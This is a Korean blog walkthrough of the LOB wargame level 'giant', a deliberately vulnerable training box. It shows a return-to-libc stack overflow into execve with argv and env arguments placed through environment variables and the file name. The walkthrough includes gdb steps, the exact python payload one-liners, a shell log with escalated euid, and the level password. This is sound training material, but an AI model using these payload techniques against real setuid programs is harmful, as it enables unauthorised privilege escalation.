난이도가 조금 있는 문제다.

소스코드를 살펴보니 execve 함수를 사용해야한다.


<execve addr 얻기>


execve 함수의 주소를 찾으려면 해당 파일을 gdb로 열어야 하지 않을까?

execve 함수의 주소를 찾기 위해 해당 파일에 접근하려 했으나, 권한이 없었다.

그럼 execve 함수의 주소는 어떻게 알아내야 하는걸까?



사실 라이브러리의 주소는 어떤 바이너리에서 열든 동일하기 때문에

다른 바이너리 파일에서 execve 함수의 주소를 알아낼 수 있다.

cp ~/giant .

gdb -q ./giant

b main

r

p execve


주소를 페이로드로 입력할 시 \x0a가 사용되어야한다는 점을 기억해두자.


<execve를 통한 exploit payload>

일단 페이로드는 A*44 + &execve 가 완성되었다.

어떤 부분을 보충해야할까? 우선 execve 함수를 살펴보자.


소스코드에서 execve 함수로 쉘을 실행하려면

execve("/bin/sh", argv, env);

와 같은 형태이다.

이 때, argv[0]="/bin/sh"이어야 한다.

리눅스의 명령 프로그램을 실행할 때(/bin/ls, /bin/sh 등) argv[0]이 /bin/sh가 아니면 seg fault가 발생하기 때문이다.

environment는 NULL이어도 된다.


즉, execve("/bin/sh", {"/bin/sh", NULL} , NULL) 형태가 되어야 한다.


또한 argv[1]이 NULL이 되어야한다. 이 또한 지켜지지 않으면 seg fault(argv[1]이 없음을 표시해야함)

이 조건을 만족시키기 위하여 우리는 파일이름을 &"/bin/sh"로 사용한다.

메모리의 가장 끝이 NULL이기 때문이다.

메모리의 가장 끝이 NULL인 이유는 환경변수의 마지막이 NULL이기 때문이다. 위에서 설명한 argv[1]=NULL과 같은 이유.

그리고 /bin/sh는 환경변수에 넣어주자. 드디어 환경변수를 사용한다. 이번 레벨에서는 환경변수가 편리한 것 같아서.

마지막, env는 NULL을 넣어주면 된다고 했다. 그러나, 페이로드상 0x00000000을 넣어주는 건 불가능하므로

NULL이 아닌 &NULL을 넣어주자. 위에 말한 메모리의 가장 끝이 NULL이므로 그 NULL의 주소를 넣어주면 된다.

무슨 말인지 모르겠으면 페이로드를 보면 이해가 될것이다.

NULL이나, &NULL이나 똑같다는 것이다.

env=NULL이냐 env[0]=NULL이냐의 차이일 뿐.


<이 인자들을 execve에 어떻게 전달할 수 있는걸까?>

RET 영역을 통해 execve가 실행되는 순간

RET 영역은 EBP가 된다.

그리고 자동적으로 RET 영역+4가 EBP+4, 즉 새로운 RET(execve 함수 종료 후의 RET)가 된다.

이후 EBP+8, EBP+12, EBP+16이 각각 매개변수가 된다.

EBP+08 : &"/bin/sh"

EBP+12 : &argv

EBP+16 : NULL

이 되는 것이다.

페이로드는 다음과 같다.


A*44 + &execve + RET + &/bin/sh + &argv + &NULL

RET 영역은 쉘 실행에 영향이 없으므로 아무 값으로 덮는다.


<execve의 인자 addr 얻기>

개념적으로는 정리가 되었고, 이제 환경을 셋팅해보자.

/bin/sh를 환경변수에 넣어주고

core를 통해 파일이름과 /bin/sh의 주소를 확인해야한다.


export ssaemo="/bin/sh"

cp ~/giant.c .

vi giant.c

### execve addr check 부분 삭제 ###

gcc -o `python -c 'print "\xff\xff\xff\xff"'` giant.c


./`python -c 'print "\xff\xff\xff\xff"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xff\xff\xff\xff"+"\xff\xff\xff\xff"+"\xfc\xff\xff\xbf"'`"


gdb -q -c core


바이너리 파일이 아니라 소스코드를 복사해왔다. 복사해온 파일에는 assassin 파일을 read할 권한이 없기 때문에

해당 부분을 삭제해주기 위하여.

파일명을 \xff\xff\xff\xff로 하여 컴파일하였다.

이유는 exploit을 시도할 때와 동일한 환경(길이)을 구성해주기 위해서다.


그리고 녹색 음영 처리해 준 ""는, `python ~ `을 감쌈으로써 페이로드의 끊김을 막기 위한 따옴표이다.

페이로드 중 \x0a가 있는데, \n(new line)을 의미하는 값으로써 사용하면 \x00처럼 페이로드를 끊게 된다.

하지만 \x00과 다른 점은, 더블 쿼터 ""로 감싸줌으로써 \n도 인자의 일부로써 포함시켜버릴 수 있다.

중요한 정보이니 알아두자!


자, 이제 인자로 쓸 주소들을 확인해보자.



x/1000s 0xbffff800


환경변수들의 주소를 대충 유추하여 메모리를 찾아보았다.

메모리 끝에 있기 때문에.

/bin/sh와 파일이름+NULL을 찾았다.



/bin/sh의 주소는 0xbffffc87

파일이름의 주소는 0xbffffff7

그리고 0xbffffffb는 NULL(argv[1])이 될 것이다.

이제 필요한 값들을 얻었으니 exploit을 시도해보자.



[bugbear@localhost dirgiant]$ gcc -o `python -c 'print "\xff\xff\xff\xff"'` giant.c 

[bugbear@localhost dirgiant]$ mv `python -c 'print "\xff\xff\xff\xff"'` `python -c 'print "\x87\xfc\xff\xbf"'`

[bugbear@localhost dirgiant]$ ./`python -c 'print "\x87\xfc\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x87\xfc\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

ldd: /home/giant/assassin: No such file or directory

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@BBBB逿¿

bash$ exit

exit

[bugbear@localhost dirgiant]$ ln -sf ~/giant `python -c 'print "\x87\xfc\xff\xbf"'`

[bugbear@localhost dirgiant]$ ./`python -c 'print "\x87\xfc\xff\xbf"'` "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\x87\xfc\xff\xbf"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@BBBB逿¿

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer

bash$ exit

exit

[bugbear@localhost dirgiant]$


16진수 오타가 안나오도록 조심하자.

빨간 박스는 &/bin/sh

파란 박스는 &argv. 파일이름의 주소. /bin/sh의 주소가 쓰여있는 곳이다.

녹색박스는 NULL의 주소이다.

shell 실행에 성공하여 심볼릭 링크로 원본의 쉘을 따냈다.


giant의 패스워드는 one step closer

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB darkknight -> bugbear  (0) 2015.11.15
LOB golem -> darkknight  (0) 2015.11.14
LOB skeletom -> golem  (1) 2015.11.14

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/